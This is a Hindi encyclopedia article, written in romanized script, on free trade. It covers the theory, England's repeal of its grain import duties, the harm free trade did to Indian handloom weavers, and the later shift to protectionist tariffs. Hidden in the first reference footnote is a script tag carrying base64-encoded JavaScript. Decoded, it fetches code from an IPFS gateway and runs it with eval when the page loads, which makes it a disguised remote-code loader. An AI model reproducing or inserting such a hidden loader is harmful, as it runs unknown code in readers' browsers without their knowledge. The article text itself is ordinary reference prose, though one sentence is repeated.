अबाध व्यापार
abadh vyapar (phri tred) isaka saral arth hai kisi desh ke aandar ya kinhian do deshoan ke bich bina kisi badha ke ya berok tok vastuoan ka kray vikray. abadh vyapar ki is niti mean kisi prakar ka bhedabhav nahian rakha jata. isalie n to videshi vastuoan ke ayat par vishesh kar lagae jate haian aur n svedashi udyog ko koee vishesh suvidhaean pradan ki jati haian. isaka yah arth nahian ki abadh vyapar ke aantargat vastuoan par kisi prakar ke kar hi nahian lagae jate, kiantu jo bhi kar lagae jate haian ve keval sarakari ae ke lie hi hote haian, kisi udyog ko sanrakshan dene ke lie nahian. jab kisi vishesh labh hetu koee do rashtr paraspar vyapar karana praranbh karate haian to usake svatantr vyaparik adan pradan mean kisi prakar hastakshep unako is labh se vanchit kar deta hai. vyapar mean vastuoan ka adal badal hota hai aur is adal badal mean kreta tatha vikreta donoan ko labh hota hai. jaise-jaise vyapar ki matra badhati jati hai vaise labh bhi badhata jata hai.[1]
deshi vyapar mean sabase b di badha yatayat ki asuvidha hai. paha di kshetroan mean, s dakoan ke abhav se aur gramin kshetroan mean pakki s dakean bahut kam hone ke karan vyapar bahut nahian badh pata. yah badha sarakar ke prayatnoan dvara hi door hoti hai tatha sansar ka pratyek desh apane deshi vyapar ko badhane ke lie uchit s dakoan ka prabandh karata hai.
videshi vyapar adhikaansh mean samudri jahajoan dvara hi hota hai. b de b de jahajoan ko chalane mean jab se bhap ke ianjanoan ka upayog hone laga hai, jahaj dvara mal le jane ka kharch pahale se bahut kam ho gaya hai. isase sansar ke bhinn-bhinn deshoan ke videshi vyapar mean bahut vriddhi huee hai.
videshi vyapar mean pray: unhian vastuoan ka ayat kiya jata hai jo any deshoan mean sasti taiyar ki jati haian aur unase ayat ke vyapariyoan ke atirikt un vastuoan ke upabhoktaoan ko bhi labh hota hai videshi vyapar mean pray: ve hi vastuean niryat ki jati haian jo doosare deshoan ki tulana mean sasti taiyar hoti haian. isase niryat ke vyapariyoan ke sath hi sath un vastuoan ke videshi upabhoktaoan ko bhi labh hota hai. abadh vyapar mean vastuoan ke utpadakoan mean parasparik pratiyogita adhik hone ke karan deshoan ke udyogoan mean kisi prakar ki shithilata nahian a pati aur ve adhik se adhik vastuoan ka utpadan karane ka prayatn karate haian.
abadh vyapar se aantararashtriy vyavahar mean tanav ki sanbhavana kam hoti hai tatha pratyek desh apani vastuoan ka vikray doosare deshoan mean karake adhik se adhik arthik labh prapt karate haian.
abadh vyapar ki ek visheshata yah hai ki isamean aantararashtriy shram-vibhajan mean kathinaiyaan upasthit nahian hone patian. kisi desh ke log apane labh ke lie us udyog mean lagate haian jisamean unhean apane p dosiyoan ki apeksha adhik suvidhaean prapt hoti haian. abadh vyapar ki niti har desh ko un udyogoan ko vikasit karane ke lie protsahit karati hai jae usake lie apekshakrit adhik anukool hote haian.
abadh vyapar se katipay haniyaan bhi hoti haian. jo vastuean any deshoan se saste mooly par ati haian un vastuoan ke utpadakoan ko desh ke aandar bhari pratiyogita ka samana karana p data hai aur yadi ve apana lagat kharch kam karake utane hi saste mooly par vaisi vastuean desh ke aandar taieyar nahian kar pate to un vastuoan ke karakhanoan ko band kar dena p data hai. isase desh ke kuchh udyog dhandhoan ko bahut hani hoti hai aur sath hi berojagari bhi badhati hai.
abadh vyapar se doosari b di hani yah hoti hai ki un ne udyog-dhandhoan ko, jo kisi desh mean aranbh kie jate haian, chalane ka avasar hi nahian mil pata. aranbhik avastha mean unaka lagat kharch adhik hota hai aur ve apane karakhanoan mean utani sasti lagat par vastuean taiyar nahian kar pate jitane lagat kharch par doosare deshoan mean pahale se sthapit b de b de karakhane taiyar kar lete haian. in navin udyogoan ko protsahan dene ke lie yah avashyak ho jata hai ki desh ki sarakar un vastuoan ke ayat par aisa bhari kar laga de jisase ve ne udyog dvara bani vastuoan se pratiyogita n kar sakean. ne udyog dhandhoan ko sanrakshan dvara sarakar ko sahayata dena avashyak ho jata hai.
jo desh audyogik vikas mean any deshoan se age rahata hai vah abadh vyapar mean apane yahaan se taiyar mal adhik matra mean doosare deshoan mean bhejane ka prayatn karata hai. parinamat: audyogik vikas mean pichh de hue deshoan ko jivanarakshak padarth dekar vilasita ke ya dikhavati saste padarth badale mean lene p date haian. isase unaka videshi vyapar badhane par unako sthayi labh nahian ho pata. is prakar ki hani se bachane ke lie pichh de hue desh apane udyog dhandhoan ke sanrakshan ke lie ayatoan par bhari kar lagate haian aur aisi vastuoan ke ayat ka niyantran karate haian jo hanikarak hoti hai; jaise, madak padarth tatha any vilasita ki dikhavati vastuean.
abadh vyapar ka aranbh sarvapratham ianglaiand mean hua. 19vian shatabdi ke aranbh mean ianglaiand mean khady padarth, jaise - gehooan, jau, makkhan, aanda, jee tatha reshami aur ooni vastuoan ke ayat par bhari kar lagae ge the. in karoan ke karan vastuoan ki kimatean bahut badh gee thian aur isase ianglaiand ki janata ko b di hani hoti thi. ianglaiand ke kuchh arthashastriyoan ne aur sansad ke sadasyoan ne khady padarthoan par se kar hatane ka aandolan aranbh kiya. sanh 1839 mean rashtriy annakar virodh sangh (aianti karn la lig) ki sthapana huee. is sangh ko apane kary mean sangharsh ka samana karana p da. ianglaiand ki parliyameant mean kee bar is prashn par vichar hua. aant mean sanh 1846 mean pil mahoday ka annakar hatane ka prastav lok sabha (haus aauv kamans) mean svikrit hua aur lard sabha ne bhi use bahumat se svikar kar liya. is prakar ann par se ayat kar hata diya gaya. apane kary mean saphalata prapt kar lene par rashtriy annakar virodhi sangh bhang kar diya gaya. dhire-dhire any vastuoan ke ayat kar bhi hata die gae aur 1860 tak ianglaiand mean abadh vyapar poorn roop se jari ho gaya.
usi samay ianglaiand mean audyogik kraanti ho rahi thi. 19vian sadi or aranbh mean ianglaiand ki adhikaansh janata gramoan mean hi nivas karati thi aur kheti ke sath sath ghareloo udyog dhandhe bhi unnat dasha mean the. ianglaiand vasiyoan ne sansar mean bhinn-bhinn bhagoan mean upanivesh basakar ya rajy sthapit kar british samrajy ki sthapana kar li aur in deshoan se apana vyapar bhi khoob badhaya tha. desh mean sahasi purushoan aur pooanji ki kami nahian thi. isi samay kuchh aisi mashinoan ka avishkar kiya gaya jae bhap ki sahayata se chalaee jati thian aur jinake dvara kap de taiyar karane ka kharch bahut kam hota tha. b de b de karakhane khule aur hue ne nagaroan ka nirman hua tatha purane nagaroan ki badhati huee. lole aur koyale ke udyog ko bhi bahut protsahan mila. b de b de jahajoan ka nirman hone laga. unake chalane mean bhap ka upayog hone se unaki gati bhi badh gee aur saman le jane ka kharch kam ho gaya.
b de-b de karakhanoan mean vastuoan ki utpatti b di matra mean hone lagi. in karakhanoan ko chalane ke lie kachche mal ki adhik pariman mean avashyakata thi. abadh vyapar ki niti ke karan ianglaiand ko any deshoan se kachcha mal saste damoan par prapt karane ki b di suvidha mili. taiyar mal ko bahar doosare deshoan mean saste mooly par bhejane mean bhi avadhi vyapar ki niti se ianglaiand ke vyapariyoan ko bahut protsahan mila. isaka parinam yah hua ki ianglaiand ka videshi vyapar khoob badha aur 19vian sadi ke aant tak sansar ke sab deshoan ke sanpoorn videshi vyapar ka chauthaee bhag ianglaiand tak sansar ke sab deshoan ke sanpoorn videshi vyapar ka chauthaee bhag ianglaiand nivasiyoan ke hath mean a gaya. audyogik kraanti aur abadh vyapar ki niti ke karan ianglaiand ki khoob arthik unnati huee aur sansar ke rashtroan mean usaka pratham sthan ho gaya.
aangreji shasan ke poorv bharat ke ghareloo udyog dhandhe khoob unnat dasha mean the. bharatavasi apane ghareloo udyog dhandhoan dvara sudanr vastuoan ka nirman kar any deshoan se khoob vyapar karate the. bharat ki malamal sansar ke sab deshoan mean prasiddh thi. utsahi aangreji ke diloan mean bharat ke sath sidha vyapar karane ki lalasa jagrat huee. dhire-dhire isi uddeshy se eest iandiya kanpani ki sthapana huee. aangrajoan ne shanai:-shanai: apane pair bharatavarsh mean majaboot kie tatha yahaan apana rajy sthapit kiya. audyogik kraanti ke karan ianglaiand mean b de b de karakhane sthapit hue aur in karakhanoan ke lie adhik pariman mean kachcha mal prapt karane aur taiyar mal ko asani se bechane ki avashyakata huee. is kary mean abadh vyapar niti se ianglaiand ko bahut labh ho raha tha. isalie aangrejoan ne usi niti ka palan bharat mean bhi kiya. is niti ka parinam bharat mean yah hua ki ianglaiand ke karakhanoan mean bane hue saste taiyar mal bharat mean bina kisi rok tok ke b de parimanoan mean ane lag. ianglaiand se saste sooti kap doan ke ayat mean khoob vriddhi huee aur bharat ke julahoan ko is pratiyogita ka samana karana p da. ve utani kam kimat par kap da taiyar karane mean asamarth rahe aur isaka parinam yah hua ki bharat mean karo doan julahoan ko apana kam band karake kheti ki sharan leni p di. bharat ka sooti kap doan ka pradhan ghareloo udyog chaupat ho gaya aur karo doan karigaroan ko bhookh aur bekari ka shikar hona p da.
is abadh vyapar ki niti ka doosara parinam yah hua ki bharat ke kachcha mal, visheshakar ruee, tilahan aur anaj adhik pariman mean any deshoan ko jane laga. isase desh mean anaj ki kami hone lagi aur achchhi phasal ke dinoan mean bhi keval adha pet bhojan panevaloan ki sankhya karo doan tak pahuanch gee. jis varsh phasal kharab hoti thi us varsh to dasha aur bhi kharab ho jati thi. inhian dinoan desh mean kee akal p de.
is abadh vyapar ki niti ka tisara parinam yah hua ki bharat mean ne udyog nahian panapane pae. bharat mean sooti kap de ke kuchh karakhane avashy sthapit hue parantu unako ianglaiand ke karakhanoan ki pratiyogita ka samana karana p da aur unaki vishesh unnati n ho saki. abadh vyapar ki niti ke anusar bharat sarakar ne bharat mean bane sooti kap doan ke utpadan par kar laga diya, isake karan bhi is udyog ki unnati mean rukavat huee. jis abadh vyaparaniti ke karan ianglaiand ki bahut arthik unnati huee usi niti ke karan bharat ke udyog dhandhean chaupat ho ge aur bharatavasi adhik garib ho ge.
bharatavasiyoan ne abadh vyaparaniti ki haniyoan ka anubhav kiya aur bharatiy netaoan ne is niti ko badalane ke lie bhari aandolan kiya. sanh 1920 mean bharat sarakar dvara ek arthik kamishan niyukt hua jisane bharat mean deshi udyogoan ke lie sanrakshan niti svikar karane ki sipharish ki. is kamishan ki sipharishoan ke anusar bharat sarakar ko apani abadh vyapar ki niti badalani p di aur sanh 1920 ke bad se bharat mean abadh vyapar ki niti ka palan nahian ho raha hai.
ianglaiand mean bhi ajakal abadh vyapar niti ka palan nahian ho raha hai. british samrajy ke deshoan ne anubhav kiya ki ianglaiand ki is niti se unako bhi haniyaan hoti haian, isilie unhoanne ianglaiand ko apani yah niti badalane ke lie raji kar liya. ab ianglaiand mean samrajyaantargat riyayat ki niti ka palan kiya jata hai. is niti ke anusar jo mal ianglaiand mean british samrajy ke deshoan se ata hai unapar ayat kar kam dar se liya jata hai aur any deshoan se unhian vastuoan ke ayat par kar ki dar adhik rahati hai. isi prakar samrajy ke any desh ianglaiand ki vastuoan par kar ki dar kam rakhate haian. abadh vyapar ki haniyoan ka anubhav kar ajakal sansar ka koee bhi desh is niti ka palan nahian kar raha hai. yadi sansar ke sab desh arthik drishti se vikasit dasha mean hoan aur jab sab desh is niti ka palan karana svikar kar lean tab sansar ke sab deshoan ko is abadh vyaparaniti se bahut labh ho sakata hai. aj kal to sansar ke kee deshoan mean videshi vyapar par bahut adhik niyantran hai. bharat videshi viniyam ki bachat karane ke lie apane ayatoan ka kathoratapoorvak niyantran kar raha hai. usane apane udyog dhandhoan ko protsahit karane ke lie bahut si vastuoan ke ayat par sarankshan kar laga diya hai. amerika ka vyapar chin se ho hi nahian raha hai. sansar mean b de b de deshoan ke do gut ho ge haian. ek gut ke deshoan ka vyapar any gut ke deshoan ke sath niyantrit roop se hi ho pata hai. niyantranoan aur sanrakshan karoan ke karan sansar ke rashtroan ka videshi vyapar jitana hona chahie utana nahian ho pata, isalie pray: sab desh videshi vyapar se poora labh nahian utha pa rahe haian abhi kuchh varsh hue ek aantararashtriy vyapar sangathan ki sthapana huee hai. isamean 50 se adhik rashtr sammilit hue haian. is sangathan ka uddeshy janata ke rahan sahan ka star ooancha karana tatha vyaparik pratibandhoan ko yathasadhy kam kar sansar ko samriddh banana hai. is sangathan ke sadasy apane - apane deshoan mean vyaparik pratibandhoan ko kam karane ka prayatn karate haian aur apane parasparik jhag de sangathan ke samane upasthit kar usake nirnay svikar karate haian.
jab yah sangathan vishvavyapi ho jaega, sansar ke sab rashtr isake sadasy ho jaeange aur jab is sangathan ke uddeshyanusar sab vyaparik pratibandh hat jaeange tab sansar mean abadh vyapar ki niti ka palan hone lagega aur usake dvara vyapar ka labh sab deshoan ko saman roop se hone lagega aur kisi rashtr ko usake dvara hani nahian pahuanchegi.[2]
tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 165 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ san.gran. - krishnaadatt vajayeyi: bharatiy vyapar ka itihas.
sanbandhit lekh
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varnamala kramanusar lekh khoj
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